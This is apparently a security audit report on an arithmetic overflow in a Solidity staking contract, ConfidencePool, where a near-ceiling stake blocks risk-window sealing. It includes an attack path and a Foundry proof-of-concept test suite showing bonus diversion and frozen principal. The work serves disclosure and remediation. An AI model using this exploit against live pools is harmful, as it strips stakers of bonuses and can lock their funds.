**Affected functions:** `stake`, `_markRiskWindowStart`, `pokeRiskWindow`, `contributeBonus`, `withdraw`, `flagOutcome`, `claimExpired`, `sweepUnclaimedBonus`
**Affected actors:** Every eligible staker (bonus loss); the pool itself (seal path bricked)
### Description
`stake()` bounds an incoming deposit only against the current timestamp. It checks that `received * t_stake * t_stake` fits in `uint256`. `_markRiskWindowStart()` later recomputes the same second moment at the risk-observation timestamp `t_risk`, which is strictly greater than `t_stake`. When aggregate stake sits close to the admission boundary at `t_stake`, the recomputation at `t_risk` overflows and reverts.
```solidity
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
```
`_observePoolState` calls `_markRiskWindowStart` without a `try/catch`. The revert propagates out of every gated entrypoint (`pokeRiskWindow`, `stake`, `contributeBonus`, `withdraw`, `flagOutcome`, `claimExpired`) for the whole active-risk interval. Once the registry advances to a terminal state, `_isActiveRiskState` is false, so the seal path is skipped forever. `riskWindowStart` never leaves zero.
At `t_stake ≈ 1.75 * 10^9` (a 2025-era timestamp), the admission boundary sits at `received ≈ 3 * 10^58` raw units. That equals `~0.028` tokens of a 60-decimal asset, or `~3 * 10^40` tokens of an 18-decimal asset. Because `t_risk > t_stake` by at least one second, the same aggregate overflows the recomputation at the observation site.
### Invariant violated
`docs/DESIGN.md #6` states that sealing the window is the normal path and that a poke does not manufacture outcomes. Both are violated. The seal path is unreachable for the entire active-risk interval, and the post-terminal state is identical to a pool that never observed risk. Bonus that should route to stakers who bore genuine `UNDER_ATTACK` exposure routes to `recoveryAddress` instead, via the `riskWindowStart == 0` branch of `sweepUnclaimedBonus` (`ConfidencePool.sol:499-501`).
### Attack path
1. Factory owner allowlists a behaviorally standard ERC-20 whose supply admits raw balances near `2^256 / t_stake²`.
2. Attacker deposits an amount just below the admission ceiling. `stake()` accepts because `received * t_stake * t_stake` fits in `uint256`.
3. Registry advances to `UNDER_ATTACK`. Any caller invokes `pokeRiskWindow()` or any other gated entrypoint. `_markRiskWindowStart()` computes `totalEligibleStake * t_risk * t_risk`, overflows, and reverts.
4. Every subsequent seal attempt also reverts. `riskWindowStart` stays zero.
5. Registry escapes to `PRODUCTION` or `CORRUPTED`. Terminal state skips the seal path so resolution succeeds.
6. `_bonusShare()` short-circuits to zero because `riskWindowStart == 0`. Stakers claim principal only. `sweepUnclaimedBonus()` diverts the entire bonus pot to `recoveryAddress`.
7. Attacker's own principal is recoverable through the same short-circuit. The mechanism is pure griefing.
Attacker cost is zero. Only ordinary public calls are needed after one honest factory-allowlist decision.
### Why this is not an accepted DESIGN.md behavior
DESIGN #5's "no observed risk" bonus sweep is scoped to registries that genuinely skipped active-risk states. This path produces the same on-chain signature (`riskWindowStart == 0`) for a pool that did enter `UNDER_ATTACK` and where every caller tried to record it. The factory allowlist gate excludes only "defective" tokens per #12, not high-precision or high-supply tokens; a token with a large raw supply and standard ERC-20 semantics is not defective.
`test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` (6/6 pass):
| Scenario | Test |
| --- | --- |
| Accepted stake erases risk observation and bonus | `test_A_acceptedStakeErasesRiskObservationAndBonus` |
| Principal freeze in the expire-while-attackable subcase | `test_A_principalFreeze_expireWhileAttackable` |
| Boundary: same-block poke works, later reverts | `test_A_boundary_sameBlockPokeWorks_laterReverts` |
| Boundary: one-second later already reverts | `test_A_boundary_oneSecondLaterReverts` |
| Negative control without giant stake, bonus pays | `test_A_negativeControl_withoutGiantStake_bonusIsPaid` |
| Negative control for the principal-freeze subcase | `test_A_principalFreeze_negativeControl` |
``solidity
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolArithmeticBoundaryAudit is BaseConfidencePoolTest {
function _giantAcceptedStake(uint256 otherTerm) internal pure returns (uint256) {
return (type(uint256).max - otherTerm) / (BASE_TIMESTAMP * BASE_TIMESTAMP);
}
function test_A_acceptedStakeErasesRiskObservationAndBonus() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
assertEq(pool.eligibleStake(attacker), giant, "attacker stake accepted");
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window could not seal");
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
token.mint(dave, 1 * ONE);
vm.startPrank(dave);
token.approve(address(pool), 1 * ONE);
vm.expectRevert(stdError.arithmeticError);
pool.stake(1 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "risk window permanently unsealed post-terminal");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "alice: principal only, no bonus");
vm.prank(attacker);
pool.claimSurvived();
assertEq(token.balanceOf(attacker), giant, "attacker recovers principal, self-cost 0");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "full bonus swept to recovery");
}
function test_A_negativeControl_withoutGiantStake_bonusIsPaid() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "control: window seals normally");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "control: principal + full bonus");
}
function test_A_boundary_sameBlockPokeWorks_laterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "same-block seal succeeds at t == t_stake");
}
function test_A_boundary_oneSecondLaterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
vm.warp(BASE_TIMESTAMP + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
}
function test_A_principalFreeze_expireWhileAttackable() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
vm.prank(moderator);
vm.expectRevert(stdError.arithmeticError);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
assertEq(pool.eligibleStake(alice), 100 * ONE, "principal frozen, no resolution path");
assertEq(token.balanceOf(alice), 0, "alice cannot recover principal");
}
function test_A_principalFreeze_negativeControl() external {
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
pool.claimExpired();
assertEq(token.balanceOf(alice), 100 * ONE, "control: EXPIRED returns principal");
}
}
``
```bash
forge test --match-path test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol -vvvv
```
### Observed result
```text
[PASS] test_A_acceptedStakeErasesRiskObservationAndBonus()
[PASS] test_A_boundary_oneSecondLaterReverts()
[PASS] test_A_boundary_sameBlockPokeWorks_laterReverts()
[PASS] test_A_negativeControl_withoutGiantStake_bonusIsPaid()
[PASS] test_A_principalFreeze_expireWhileAttackable()
[PASS] test_A_principalFreeze_negativeControl()
Suite result: ok. 6 passed; 0 failed; 0 skipped
``